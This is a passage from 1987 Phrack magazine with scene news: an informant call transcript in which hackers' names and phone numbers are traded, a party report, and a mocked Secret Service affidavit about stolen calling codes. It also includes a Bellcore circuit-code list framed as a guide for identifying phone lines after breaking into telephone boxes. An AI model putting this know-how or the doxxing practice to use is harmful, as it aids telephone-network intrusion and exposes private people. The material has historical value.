One final note to make about the Alliance conversations is that halfway through, IL DUCE and DAN THE OPERATOR gave out BILL FROM RNOC's full name, phone number, address, etc.

‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=

Part Two: Noah Engineers John Maxfield

The list of topics discussed in this conversation is much longer;

Arthur Dent / Ben Casey / Big Brother / Bill From RNOC / BoardScan Captain Crunch / Celtic Phrost / Cheshire Catalyst / Doc Holiday / Easywriter Genghis Khan / Jenny Jaguar / Jester Sluggo / Karl Marx / Kerrang Khan Kloey Detect / Max Files / Noah Espert / Legion Of Doom / Legion of Hackers Lord Digital / Lord Rebel / Mark Tabas / Oryan QUEST / Phucked Agent 04 Phrack Inc. / Pirate's Hangout / Septic Tank / Sigmund Fraud / The Disk Jockey The Executioner / The Federation / The *414* Wizard / The Hobbit The Marauder The Safecracker / The Telecom Security Group / The Videosmith The Weasel / Tommy Hawk / Torture Chamber / Twilight Zone / Tuc Violet Boregard / Zepplin

The following are the highlights of the conversation between DAN THE OPERATOR

and JOHN MAXFIELD. [John Maxfield = John]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Noah: Did you ever find VIDEOSMITH's number?

John: No, matter of fact. You know what it is, I've been on boards he's been on in the 215 NPA [possibly Atlantis], but well.

Noah: But you don't have his number?

John: Should I?

Noah: He's fairly big, he knows his stuff. I would think he'd be worth getting a number for.

John: Doesn't do anything for me because you know, just having his number doesn't get him in trouble or anything.

Noah: Oh, well I don't want him to get in trouble...he's a nice person. So do you have LORD REBEL's phone number?

John: What do you know about him?

Noah: I think he's up in New York.

John: 914?

Noah: Possibly 718, 212, possibly even 201. [Excuse me you dork. The 201 NPA is in the state of New Jersey not New York. What a loser Noah is. ‑KL] John: If you don't have a number on him I'll have to do an alphabetical search for him. It takes a while.

Noah: Well we could talk while it's going. I think you're pretty interesting, you're not boring like I am.

John: Well you're not boring to me as long as I keep getting people's phone numbers. Bahahahahahahahahah Har har har.

Noah: (Pause)(Pause)(Pause) Bahahahahahahaha. Sheesh.

John: Well let's see what it finds, there's a lot of Lords in there. Noah: He's part of LOD.

John: Oh he's part of LOD!?

Noah: Yeah.

John: Well I might have him and I might not [What a profound statement ‑KL]. Noah: He's not very active in LOD.

[The search for LORD REBEL's information was a failure ‑KL]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Noah: I got a question, I'm still trying to figure this out. Are there people like me who just call you up like this?

John: Yes there are.

Noah: A lot?

John: Enough. You know it's funny, there's people that call up and there assholes and I'll just hang up on them. There is other people that call up and well you know they try to feed me bullshit, but at least they aren't being jerks about it.

Noah: You think I'm feeding you bullshit?

John: I dunno, maybe you are or maybe you aren't. What I'm saying is that there are people that behave like humans. So there are a few that call in.

You know when you're working with informants, you got different categories. You got informants you can trust and you got informants that well hold on a second. There are some informants, that they could tell me anything and I'd believe them. Ok, because I know them. Met them personally maybe or known the guy for 3 or 4 years, his information is always correct that sort of thing.

Then there is somebody like you that umm is kinda maybe a "Class 2 Informant." Gives valid phone numbers and information out, but is not really a true informant. Then there is a "Class 3 Informant" that's like, ahh somebody like ORYAN QUEST who calls up and turns in somebody he doesn't like, but that's all he ever does. I don't know if you can call them Class 1, Class 2, Class 3 exactly but that's how I look at it.

[Shortly after this, Maxfield gave out JESTER SLUGGO's information ‑KL]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Noah: How about Phucked Agent 04?

John: Oh him, his name is XXXXX and he's out in XXXXXXX.

Noah: Something like that.

John: He's one of the jerks that made death threats against me. I kinda would like to get him.

Noah: You want his number?

John: Yeah.

Noah: Lemme see if I can catch up with him, I know a few people in LOD.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[Noah tried to get information on KERRANG KHAN for a while and then started asking about KARL MARX ‑KL]

Noah: Ok, KARL MARX.

John: Oh, he got busted along with MARK TABAS you know, I told you all about that.

Noah: Yeah yeah.

John: He lives out in NPA XXX, but he was going to college in XXXXXXXXXX and I don't have a number for him there.

Noah: He's probably back home now.

John: Yeah, but I probably shouldn't give out his number. He did get popped. Noah: Aw come on.

John: Nah.

Noah: Come on.

John: Nah.

Noah: Please.

John: Nah. I probably don't have a correct number anyway.

Noah: Dude. Well if you don't have a correct number then give me the old number.

John: Nah.

Noah: C'mon dude.

John: Nah.

Noah: Dude!

John: Nah nah. Besides I have a feeling that he wouldn't appreciate being called up by hackers anyway.

Noah: He's still around though!

John: Is he!?

Noah: Yes.

John: Oh really.

Noah: Yes sir. Because he was talking with THE MARAUDER, you know, Todd. John: Yeah?

Noah: Yeah.

John: That's interesting.

[They went on to discuss THE SAFECRAKER, THE SEPTIC TANK, THE TWILIGHT ZONE, TORTURE CHAMBER, and THE FEDERATION. Maxfield reveled that he had been on TWILIGHT ZONE back when THE MARAUDER used to run it. ‑KL]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Noah: THE MARAUDER is still home, he didn't go to college.

John: Yeah, MARAUDER, now he is heavy duty.

Noah: Yeah, he knows his snit (not a typo). However, he doesn't brag about it.

John: Well the thing is, you know is what the hell is he trying to accomplish? I sometimes kinda wonder what motivates somebody like that. Noah: What do you mean?

John: Well he wants to screw around with all this stuff, but what's the point?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SIGMUND FRAUD, MAX FILES, TOMMY HAWK, TUC, PHRACK INC., MARK TABAS, were next to be discussed. After which MAXFIELD went on to retell a story about a district attorney in California that referred to him as a legend in his own time. Noah then started asking about CAPTAIN CRUNCH and Easywriter, and Maxfield told him the story of CAPTAIN CRUNCH's latest bust.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

THE DISK JOCKEY, DOC HOLIDAY, THE MARAUDER, BIG BROTHER, ARTHUR DENT, THE WEASEL, BILL FROM RNOC, THE 414 WIZARD, THE EXECUTIONER, and LORD DIGITAL were next.

Then it was Noah's turn to unload (although Noah had already given out information on many of the previously mentioned people).

TUC, THE TELECOM SECURITY GROUP, CELTIC PHROST, ZEPPLIN, and GENGHIS KHAN had their information handed out freely.

John: I guess I'm going to have the goons come over and pay you a visit. Noah: Who me?

John: Take your computer, clean your room for you.

Noah: No, no, please... don't... you can't do that. I'll be an informant dammit. I'll give you all my files, I'll send them immediately... Federal Express.

John: Sounds good.

Noah: Has anyone ever really done that?

John: Well not by Federal Express.

Noah: I'll send you all my manuals, everything. I'll even tell you my favorite Sprint code.

John: Sprint would appreciate that. You know, it's interesting that you know MARAUDER.

Noah: Todd and I, yeah, well we're on a first name basis. [Yeah you know his first name but that's as far as it goes, isn't it Noah. ‑KL]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Noah gave out more people's information and the conversation ran on for another 20 minutes. The problem is that this is when the tape ran out, but the conversation was going strong. Noah was giving out numbers alphabetically and he was still in the C‑G area when the tape ran out. There is no telling as to what was discussed next.

All of the people mentioned at the beginning were discussed in depth and the excerpts shown here do not necessarily show the extent of the discussion. I didn't transcript the entire conversation because in doing so would publicly release information that would be unproductive to our society.

So, many of you are probably still asking yourself, where did we get the FBI connection from? Well, some time ago, DAN THE OPERATOR used to hang out with THE TRADER and they were into some kind of stock fraud using Bank Americard or something along those lines. Something went wrong and Noah was visited by the FBI. As it turns out, Noah became their informant and they dropped the charges.

Sometime later, Noah tried to set up TERMINUS (see the current Phrack Pro‑Phile) to meet (unknowingly) with the FBI and give them a tour of his board, TERMINUS realized what was going on and Noah's plans were ruined.

I hope you learned from this story, don't let yourself be maneuvered by people like Noah. There are more informants out there than you think.

Written by Knight Lightning

For more information about DAN THE OPERATOR, you should read THE SYNDICATE REPORTS Transmittal No. 13 by THE SENSEI. Available on finer BBSes/AEs everywhere.

________________________________________

PWN II

PartyCon '87 July 24‑26, 1987

~~~~~~~~~~~~

This article is not meant to be as in depth as the SummerCon issue, but I think you'll enjoy it.

Before we begin, here is a list of the total phreak/hack attendees;

Cheap Shades / Control C / Forest Ranger / Knight Lightning / Loki Lucifer 666 / Mad Hatter / Sir William / Synthetic Slug / Taran King The Cutthroat / The Disk Jockey / The Mad Hacker

Other people who attended that should be made a note of include; Dan and Jeff (Two of Control C's roommates that were pretty cool), Dennis (The Menace); one of Control C's neighbors, Connie; The Mad Hacker's girlfriend (at the time anyway), and the United States Secret Service; they weren't actually at PartyCon, but they kept a close watch from a distance.

For me, it started Friday morning when Cheap Shades and I met Forest Ranger and Taran King at Taran's house. Our trip took us through Illinois, and we stopped off at a Burger King in Normal, Illinois (close to Illinois State University). Would you believe that the majority of the population there had no teeth?

Anyway, our next stop was to see Lucifer 666 in his small one‑horse town. He would follow us later (with Synthetic Slug). We arrived at Control C's apartment around 4 PM and found Mad Hatter alone. The first thing he made a note of was some sheets of paper he discovered (while searching ^C's apartment). I won't go into what was on the paper. Although we didn't know it at the time, he copied the papers and hid them in his bag. It is believed that he intended to plant this and other information inside the apartment so that ^C would get busted.

Basically, it was a major party with a few mishaps like Forest Ranger and Cheap Shades driving into Grand Rapids, Michigan on Friday night and not getting back till 4 AM Saturday. We hit Lake Shore Drive, the beach, a few shopping malls, Chicago's Hard Rock Cafe, and Rush Street. It was a lot of fun and we may do it again sometime soon.

If you missed PartyCon '87, you missed out. For those who wanted to go, but couldn't find us, we're sorry. Hotel cancellations and loss of phone lists due to current problems made it impossible for us to contact everyone.

Written by Knight Lightning

________________________________________

PWN III

#### PHRACK PRESENTS ISSUE 15 ####

^*^*^*^Phrack World News, Part 1^*^*^*^

**** File 8 of 10 ****

SEARCH WARRANT ON WRITTEN AFFIDAVIT

DATE: 7/17/87

TO: Special Agent Lewis F. Jackson II, U.S. Secret Service or any agent d use of access devices, and Title 18 USC 1030 ‑ Computer related fraud.

WHEN: On or before (10 days) at any time day or night

‑‑‑‑‑‑‑‑‑‑‑‑

AFFIDAVIT

"I, Lewis F. Jackson II, first being duly sworn, do depose and state:..."

[Here he goes on and on about his position in the San Jose Secret Service, classes he has taken (none of them having to do with computers)]

"Other individuals involved in the investigation:

Detective J. McMullen ‑ Stanford Public Safety/Specialist in computers Steve Daugherty ‑ Pacific Bell Telephone (sic)/ Specialist in fraud Stephen Hansen ‑ Stanford Electrical Eng./ Director Brian Bales ‑ Sprint Telecom./ Security Investigator M. Locker ‑ ITT Communications/ Security Investigator Jerry Slaughter ‑ MCI Communications/Security Investigator

4. On 11/14/86, I met with Detective Sgt. John McMullen, who related the following:

a. Beginning on or about 9/1/86, an unknown suspect or group of suspects using the code name Pink Floyd repeatedly accessed the Unix and Portia computer systems at Stanford University without authorization.

b. The suspects initially managed to decode the password of a computer user called "Laurent" and used the account without the permission or knowledge of the account holder. The true account holder was given a new account and a program was set up to print out all activity on the "Laurent" account.

c & d. Mentions the systems that were accessed illegally, the most 'dangerous' being Arpanet (geeeee).

e. Damage was estimated at $10,000 by Director of Stanford Computers.

g. On 1/13/87, the suspect(s) resumed regular break‑ins to the "Laurent" account, however traps and traces were initially unsuccessful in identifying the suspect(s) because the suspect(s) dialed into the Stanford Computer System via Sprint or MCI lines, which did not have immediate trap and trace capabilities.

6. On 2/19/87 I forwarded the details of my investigation and a request for collateral investigation to the New York Field Office of The U.S. Secret Service. (The USSS [I could say something dumb about USSR here]). SA Walter Burns was assigned the investigation.

7. SA Burns reported telephonically that comparison of the times at which Stanford suffered break ins [aahhh, poor Stanford] with that of DNR's on suspects in New York, Pennsylvania, Massachusetts, Maryland and California showed a correlation.

8. [Some stuff about Oryan QUEST engineering Cosmos numbers].

9. On 4/2/87, I was telephoned again by Mr. Daugherty who reported that on 4/1/87, while checking a trouble signal on the above DNR's [on Oryan's lines], he overheard a call between the central figure in the New York investigation and [Oryan Quest's real name.] Mr. Daughtery was able to identify and distinguish between the three suspects because they addressed each other by there first name. During the conversation, [Oryan Quest] acknowledged being a member of L.O.D. (Legion Of Doom), a very private and exclusive group of computer hackers. [Oryan QUEST never was a member.]

10. [Mr. Daughtery continued to listen while QUEST tried to engineer some stuff. Gee what a coincidence that a security investigator was investigating a technical problem at the same time a conversation with 2 of the suspects was happening, and perhaps he just COULDN'T disconnect and so had to listen in for 20 minutes or so. What luck.]

11. SA Burns reported that the suspects in New York regularly called the suspects in California.

14. From 4/30/87 to 6/15/87 DNR's were on both California suspects and were monitored by me.

[The data from the DNR's was 'analyzed' and sent to Sprint, MCI, and ITT to check on codes. Damages claimed by the various LDX's were:

SPRINT : Oryan QUEST : 3 codes for losses totaling $4,694.72 Mark Of CA : 2 codes for losses totaling $1,912.57

ITT : Mark Of CA : 4 codes for losses totaling $639

MCI : Mark Of CA : 1 code for losses totaling $1,813.62

And the winner is....Oryan QUEST at $4,694.72 against Mark with $4,365.19.]

20. Through my training and investigation I have learned that people who break into computers ("hackers") and people who fraudulently obtain telecommunications services ("freakers") are a highly sophisticated and close knit group. They routinely communicate with each other directly or through electronic bulletin boards.

[Note: When a Phrack reporter called Lewis Jackson and asked why after his no doubt extensive training he didn't spell "freakers" correctly with a 'ph' he reacted rather rudely.]

21.

22. [Jackson's in depth analysis of what hackers have ("Blue Boxes are 23. normally made from pocket calculators...") and their behavior] 24.

26. Through my training and investigations, I have learned that evidence stored in computers, floppy disks, and speed dialers is very fragile and can be destroyed in a matter of seconds by several methods including but not limited to: striking one or more keys on the computer keyboard to trigger a preset computer program to delete information stored within, passing a strong magnetic source in close proximity to a computer, throwing a light switch designed to either trigger a preset program or cut power in order to delete information stored in a computer or speed dialer or computer; or simply delivering a sharp blow to the computer. [Blunt blows don't cut it.]

27. Because of the ease with which evidence stored in computers can be destroyed or transferred, it is essential that search warrants be executed at a time when the suspect is least likely to be physically operating the target computer system and least likely to have access to methods of destroying or transferring evidence stored within the system. Because of the rapidity of modern communications and the ability to destroy or transfer evidence remotely by one computer to another, it is also essential that in cases involving multiple suspects, all search warrants must be executed simultaneously.

16

- Phrack 16 Intro by Elric of Imrryr

- BELLCORE Information by The Mad Phone-Man

- A Hacker's Guide to Primos by Cosmos Kid

- Hacking GTN by The Kurgan

- Credit Card Laws Laws by Tom Brokow

- Tapping Telephone Lines by Agent Steal

- Reading Trans-Union Credit Reports by The Disk Jockey

- The Story Of the West German Hackers by Shooting Shark

- The Mad Phone-Man and the Gestapo by The Mad Phone-Man

- Flight of the Mad Phone-Man by The Mad Phone-Man

- Shadow Hawk Busted Again by Shooting Shark

- Coin Box Thief Wanted by The $muggler

Phrack 16 Intro

===== Phrack Magazine presents Phrack 16 ===== ===== File 1 of 12 : Phrack 16 Intro =====

Greetings, and welcome to Phrack #16, we are a bit late, but bigger then ever. I think you will find this issue very interesting. Enjoy and have Phun

Elric of Imrryr ‑ Editor

Contents this issue:

16.1 Phrack 16 Intro by Elric of Imrryr2K

16.2 BELLCORE Information by The Mad Phone‑Man11K 16.3 A Hacker's Guide to Primos: Part 1 by Cosmos Kid11K 16.4 Hacking GTN by The Kurgan7K

16.5 Credit Card Laws Laws by Tom Brokow7K

16.6 Tapping Telephone Lines by Agent Steal9K

16.7 Reading Trans‑Union Credit Reports by The Disk Jockey6K

Phrack World News:

16.8 The Story Of the West German Hackers by Shooting Shark3K 16.9 The Mad Phone‑Man and the Gestapo by The Mad Phone‑Man2K 16.10 Flight of the Mad Phone‑Man by The Mad Phone‑Man2K 16.11 Shadow Hawk Busted Again by Shooting Shark2K 16.12 Coin Box Thief Wanted by The $muggler2K

Submission to Phrack may be sent to the following BBSes:

Unlimited Reality313‑489‑0747 Phrack

The Free World301‑668‑7657 Phrack Inc. (*)

The Executive Inn915‑581‑5145 Phrack

Lunatic Labs UnLtd.415‑278‑7421 Phrack(*)

House of the Rising Sun 401‑789‑1809 Phrack

BELLCORE Information

===== Phrack Magazine presents Phrack 16 ===== ===== File 2 of 12 =====

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

BELLCORE Information by The Mad Phone‑man

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So, you've broken into the big phone box on the wall, and are looking at a bunch of tags with numbers and letters on them. Which one is the modem line? Which one is the 1‑800 WATS line? Which one is the Alarm line? Bell has a specific set of codes that enable you to identify what you're looking at. These are the same codes the installer gets from the wire center to enable him to setup the line, test it, and makesure itmatches the customers order. Here are some extracts from the Bellcore book.

First lets take a hypothetical line number I'm familiar with: 64FDDV 123456

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The serial number format:

Prefix + service code + modifier + serial number +

digits:1,2 3,4 5,67,8,9,10,11,12 continued

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Suffix+ CO assigning circuit number + segment

digits:13,14,15 16,17,18,19 20,21,22

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The important shit is in the 3rd thru 6th digit.

SERVICE CODESIntra or Inter LATA Block 1‑26

‑‑‑‑‑‑‑‑‑‑‑‑‑

AA‑ Packet analog access line

AB‑ Packet switch trunk

AD‑ Attendant

AF‑ Commercial audio fulltime

AI‑ Automatic identified outward dialing

AL‑ Alternate services

AM‑ Packet, off‑network access line

AN‑ Announcement service

AO‑ International/Overseas audio (full time)

AP‑ Commercial audio (part time)

AT‑ International/Overseas audio (part time)

AU‑ Autoscript

BA‑ Protective alarm (CD)

BL‑ Bell & lights

BS‑ Siren control

CA‑ SSN Access

CB‑ OCC Audio facilities

CC‑ OCC Digital facility‑medium speed

CE‑ SSN Station line

CF‑ OCC Special facility

CG‑ OCC Telegraph facility

CH‑ OCC Digital facility high‑speed

CI‑ Concentrator Identifier trunk

CJ‑ OCC Control facility

CK‑ OCC Overseas connecting facility wide‑band

CL‑ Centrex CO line

CM‑ OCC Video facility

CN‑ SSN Network trunk

CO‑ OCC Overseas connecting facility

CP‑ Concentrator identifier signaling link

CR‑ OCC Backup facility

CS‑ Channel service

CT‑ SSN Tie trunk

CV‑ OCC Voice grade facility

CW‑ OCC Wire pair facility

CZ‑ OCC Access facility

DA‑ Digital data off‑net extension

DB‑ HSSDS 1.5 mb/s access line

DF‑ HSSDS 1.5 mb/s hub to hub

DG‑ HSSDS 1.5 mb/s hub to earth station

DH‑ Digital service

DI‑ Direct‑in dial

DJ‑ Digit trunk

DK‑ Data link

DL‑ Dictation line

DO‑ Direct‑out dial

DP‑ Digital data‑2 4 kb/s

DQ‑ Digital data‑4 8 kb/s

DR‑ Digital data‑9.6 kb/s

DW‑ Digital data‑56 kb/s

DY‑ Digital service (under 1 mb/s)

EA‑ Switched access

EB‑ ENFIA II end office trunk

EC‑ ENFIA II tandem trunk

EE‑ Combined access

EF‑ Entrance facility‑voice grade

EG‑ Type #2 Telegraph

EL‑ Emergency reporting line

EM‑ Emergency reporting center trunk

EN‑ Exchange network access facility

EP‑ Entrance facility‑program grade

EQ‑ Equipment only‑(network only) assignment

ES‑ Extension service‑voice grade

ET‑ Entrance facility‑telegraph grade

EU‑ Extension service‑telegraph grade

EV‑ Enhanced Emergency reporting trunk

EW‑ Off network MTS/WATS equivalent service

FD‑ Private line‑data

FG‑ Group‑supergroup spectrum

FR‑ Fire dispatch

FT‑ Foreign exchange trunk

FW‑ Wideband channel

FV‑ Voice grade facility

FX‑ Foreign exchange

HP‑ Non‑DDS Digital data 2.4 kb/s

HQ‑ Non‑DDS Digital data 4.8 kb/s

HR‑ Non‑DDS Digital data 9.6 kb/s

HW‑ Non‑DDS Digital data 56 kb/s

IT‑ Intertandem tie trunk

LA‑ Local area data channel

LL‑ Long distance terminal line

LS‑ Local service

LT‑ Long distance terminal trunk

MA‑ Cellular access trunk 2‑way

MT‑ Wired music

NA‑ CSACC link (EPSCS)

NC‑ CNCC link (EPSCS)

ND‑ Network data line

OI‑ Off premises intercommunication station line

ON‑ Off network access line

OP‑ Off premises extension

OS‑ Off premises PBX station line

PA‑ Protective alarm (AC)

PC‑ Switched digital‑access line

PG‑ Paging

PL‑ Private line‑voice

PM‑ Protective monitoring

PR‑ Protective relaying‑voice grade

PS‑ MSC constructed spare facility

PV‑ Protective relaying‑telegraph grade

PW‑ Protective relaying‑signal grade

PX‑ PBX station line

PZ‑ MSC constructed circuit

QU‑ Packet asynchronous access line

QS‑ Packet synchronous access line

RA‑ Remote attendant

RT‑ Radio landline

SA‑ Satellite trunk

SG‑ Control/Remote metering signal grade

SL‑ Secretarial line

SM‑ Sampling

SN‑ Special access termination

SQ‑ Equipment only‑customer premises

SS‑ Dataphone select‑a‑station

TA‑ Tandem tie‑trunk

TC‑ Control/Remote metering‑telegraph grade

TF‑ Telephoto/Facsimile

TK‑ Local PBX trunk

TL‑ Non‑tandem tie trunk

TR‑ Turret or automatic call distributor (ACD) trunk

TT‑ Teletypewriter channel

TU‑ Turret or automatic call distributor (ACD) line

TX‑ Dedicated facility

VF‑ Commercial television (full time)

VH‑ Commercial television (part time)

VM‑ Control/Remote metering‑voice grade

VO‑ International overseas television

VR‑ Non‑commercial television (7003,7004)

WC‑ Special 800 surface trunk

WD‑ Special WATS trunk (OUT)

WI‑ 800 surface trunk

WO‑ WATS line (OUT)

WS‑ WATS trunk (OUT)

WX‑ 800 service line

WY‑ WATS trunk (2‑way)

WZ‑ WATS line (2‑way)

ZA‑ Alarm circuits

ZC‑ Call and talk circuits

ZE‑ Emergency patching circuits

ZF‑ Order circuits, facility

ZM‑ Measurement and recording circuits

ZP‑ Test circuit, plant service center

ZQ‑ Quality and management circuits

ZS‑ Switching, control and transfer circuits

ZT‑ Test circuits, central office

ZV‑ Order circuits, service

SERVICE CODES FOR LATA ACCESS

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

HC‑ High capacity 1.544 mb/ps

HD‑ High capacity 3.152 mb/ps

HE‑ High capacity 6.312 mb/ps

HF‑ High capacity 6.312

HG‑ High capacity 274.176 mb/s

HS‑ High capacity subrate

LB‑ Voice‑non switched line

LC‑ Voice‑switched line

LD‑ Voice‑switched trunk

LE‑ Voice and tone‑radio landline

LF‑ Data low‑speed

LG‑ Basic data

LH‑ Voice and data‑PSN access trunk

LJ‑ Voice and data SSN access

LK‑ Voice and data‑SSN‑intermachine trunk

LN‑ Data extension, voice grade data facility

LP‑ Telephoto/Facsimile

LQ‑ Voice grade customized

LR‑ Protection relay‑voice grade

LZ‑ Dedicated facility

MQ‑ Metallic customized

NQ‑ Telegraph customized

NT‑ Protection alarm‑metallic

NU‑ Protection alarm

NV‑ Protective relaying/Telegraph grade

NW‑ Telegraph grade facility‑75 baud

NY‑ Telegraph grade facility‑ 150 baud

PE‑ Program audio, 200‑3500 hz

PF‑ Program audio, 100‑5000 hz

PJ‑ Program audio, 50‑8000 hz

PK‑ Program audio, 50‑15000 hz

PQ‑ Program grade customized

SB‑ Switched access‑standard

SD‑ Switched access‑improved

SE‑ Special access WATS‑access‑std

SF‑ Special access WATS access line improved

SJ‑ Limited switched access line

TQ‑ Television grade customized

TV‑ TV Channel one way 15khz audio

TW‑ TV Channel one way 5khz audio

WB‑ Wideband digital, 19.2 kb/s

WE‑ Wideband digital, 50 kb/s

WF‑ Wideband digital, 230.4 kb/s

WH‑ Wideband digital, 56 kb/s

WJ‑ Wideband analog, 60‑108 khz

WL‑ Wideband analog 312‑552 khz

WN‑ Wideband analog 10hz‑20 khz

WP‑ Wideband analog, 29‑44 khz

WR‑ Wideband analog 564‑3064 khz

XA‑ Dedicated digital, 2.4 kb/s

XB‑ Dedicated digital, 4.8 kb/s

XG‑ Dedicated digital, 9.6 kb/s

XH‑ Dedicated digital 56. kb/s

Now the last two positions of real importance, 5 & 6 translate thusly:

Modifier Character Position 5

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

INTRASTATE INTERSTATE

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

AB Alternate data & non data

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

C Customer controlled service

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

DE Data

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

NL Non‑data operation

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

P Only offered under intra restructured

private line (RPL) tariff

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ST Simultaneous data & non‑data

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

F Interexchange carriers is less than 50%

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

G Interstate carrier is more than 50%

usage

========================================

MODIFIER CHARACTER POSITION 6

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TYPE OF SERVICEIntra LATA

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ALL EXCEPT US GOVTUS GOVERNMENT

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

T M Circuit is BOC customer to BOC customer all facilities are TELCO provided

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

C P Circuit is BOC/BOC and part of facilities or equipment is telco

provided

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A J Circuit is BOC/BOC all electrically connected equip is customer provided

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

L F Circuit terminates at interexchange carrier customers location

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Z Official company service

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Interlata

S S Circuit terminates at interexchange carriers point of term (POT)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

V V Circuit terminates at an interface of a radio common carrier (RCC)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Z Official company service

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Corridor

Y X Corridor circuit

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

International

K H Circuit has at least 2 terminations in different countries

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Interexchange carrier

Y X Transport circuit between interexchange carrier terminals.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So 64FDDV would be a private line data circuit terminating at aradiocommon carrier. Other examples can be decoded likewise.

Enjoy this information as much as I've had finding it.

A Hacker's Guide to Primos

===== Phrack Magazine presents Phrack 16 ===== ===== File 3 of 12 =====

========================================

====Cosmos Kid Presents... ==== ==== A Hacker's Guide To: PRIMOS ==== ====Part I ====

====(c) 1987 by Cosmos Kid====

========================================

Author's Note:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This file is the first of two files dealing with PRIMOS and its operations. The next file will be in circulation soon so be sure to check it out at any good BBS.

Preface:

‑‑‑‑‑‑‑‑

